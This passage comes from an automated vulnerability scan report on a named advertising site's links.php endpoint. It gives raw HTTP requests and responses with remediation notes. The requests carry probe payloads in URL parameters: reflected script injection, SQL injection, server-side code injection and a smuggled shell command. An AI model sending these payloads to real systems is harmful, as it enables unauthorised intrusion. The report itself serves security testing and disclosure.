AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 01:51:48 GMT Server: Apache/2.2.8 (Fedora) X-Powered-By: PHP/5.2.4 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1256
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right ...[SNIP]... </ScRiPt>8355c3b9290 ) AND ( 6ba5ac<ScRiPt>alert(1)</ScRiPt>8355c3b9290 > ...[SNIP]...
The value of the serverfile request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4c8ea"%3balert(1)//44732bf9cc1 was submitted in the serverfile parameter. This input was echoed as 4c8ea";alert(1)//44732bf9cc1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect4c8ea"%3balert(1)//44732bf9cc1&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 Host: www.angege.com Proxy-Connection: keep-alive Referer: http://ads.lzjl.com/newServing/links.php?zone=0&chad=1&adu=2&cs=&adtype=0&nid=5&sid=4620&pid=2860&spid=0&image=2&memkey=98b14fa99412193eba9071f7c8c32be7&durl=&lq=0&qp=YF4lITN9ISgg_H0ueyUlfiD5b1EwLSN8IzE Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.41 Safari/534.7 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 05:21:37 GMT Server: Apache/2.2.8 (Fedora) X-Powered-By: PHP/5.2.4 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1594
The request appears to contain SQL syntax. If this is incorporated into a SQL query and executed by the server, then the application is almost certainly vulnerable to SQL injection.
You should verify whether the request contains a genuine SQL query and whether this is being executed by the server.
Issue remediation
The application should not incorporate any user-controllable data directly into SQL queries. Parameterised queries (also known as prepared statements) should be used to safely insert data into predefined queries. In no circumstances should users be able to control or modify the structure of the SQL query itself.
Request
GET /links.php?data=(select+convert(int,CHAR(95)%2BCHAR(33)%2BCHAR(64)%2BCHAR(50)%2BCHAR(100)%2BCHAR(105)%2BCHAR(108)%2BCHAR(101)%2BCHAR(109)%2BCHAR(109)%2BCHAR(97))+FROM+syscolumns)&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=3&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; CloudScan Vuln Crawler http://cloudscan.me) Cache-Control: no-cache Host: www.angege.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 09:05:28 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 121
The application appears to disclose some server-side source code written in ASP.
Issue background
Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.
Issue remediation
Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=infinityads&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=%3c%25+response.write(268409241-22)+%25%3e&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=3&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; CloudScan Vuln Crawler http://cloudscan.me) Cache-Control: no-cache Host: www.angege.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 09:07:49 GMT Server: Apache/2.2.9 (Fedora) X-Powered-By: PHP/5.2.6 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 1255
<blockquote><blockquote><blockquote><h3><font color="#cc0000"> Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '<% response.write(268409241-22) %>) AND (adstype = 0 OR adstype = 9 OR adstype =' at line 3</font> ...[SNIP]...
The TRACE method is designed for diagnostic purposes. If enabled, the web server will respond to requests which use the TRACE method by echoing in its response the exact request which was received.
Although this behaviour is apparently harmless in itself, it can sometimes be leveraged to support attacks against other application users. If an attacker can find a way of causing a user to make a TRACE request, and can retrieve the response to that request, then the attacker will be able to capture any sensitive data which is included in the request by the user's browser, for example session cookies or credentials for platform-level authentication. This may exacerbate the impact of other vulnerabilities, such as cross-site scripting.
Issue remediation
The TRACE method should be disabled on the web server.
The response contains the following Content-type statement:
Content-Type: text/html; charset=UTF-8
The response states that it contains HTML. However, it actually appears to contain script.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /links.php?data=rSe_2%2F%7B02%253%21%2F0%29%24S%5C7%5ElPah%5ErcY%5Eh%24%5Dm%5C%5Eb%27%29%2B%2C2%FE%2A+igN5%2B%276%22%28%2F%2C5+%2C&serverfile=popdirect&id=%27%26%20SET%20%2FA%200xFFF9999-2%20%26&subid=117412&tid=1288057764&clater=0&m=127&o=1&c=32767&a=32767&q=6&s=%3C%3D&ah=10&al=2&l=english&campaign=3&rurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fclicktrack.php%3Fcpx%3Dcpv%26qid%3D1288057764390track&defurl=http%3A%2F%2Fads.lzjl.com%2FnewServing%2Fcpalinks.php%3Fqid%3D1288057764390track%26memkey%3D98b14fa99412193eba9071f7c8c32be7%26clck_sid%3D4620%26clck_pid%3D2860 HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; CloudScan Vuln Crawler http://cloudscan.me) Cache-Control: no-cache Host: www.angege.com Accept-Encoding: gzip, deflate
Response
HTTP/1.1 200 OK Date: Tue, 26 Oct 2010 09:06:19 GMT Server: Apache/2.2.8 (Fedora) X-Powered-By: PHP/5.2.4 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 226
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'SET /A 0xFFF9999-2 &' as revisit from LiveLogsTmp22 WHERE visitor ...[SNIP]...
Report generated by XSS.CX at Tue Oct 26 12:23:54 CDT 2010.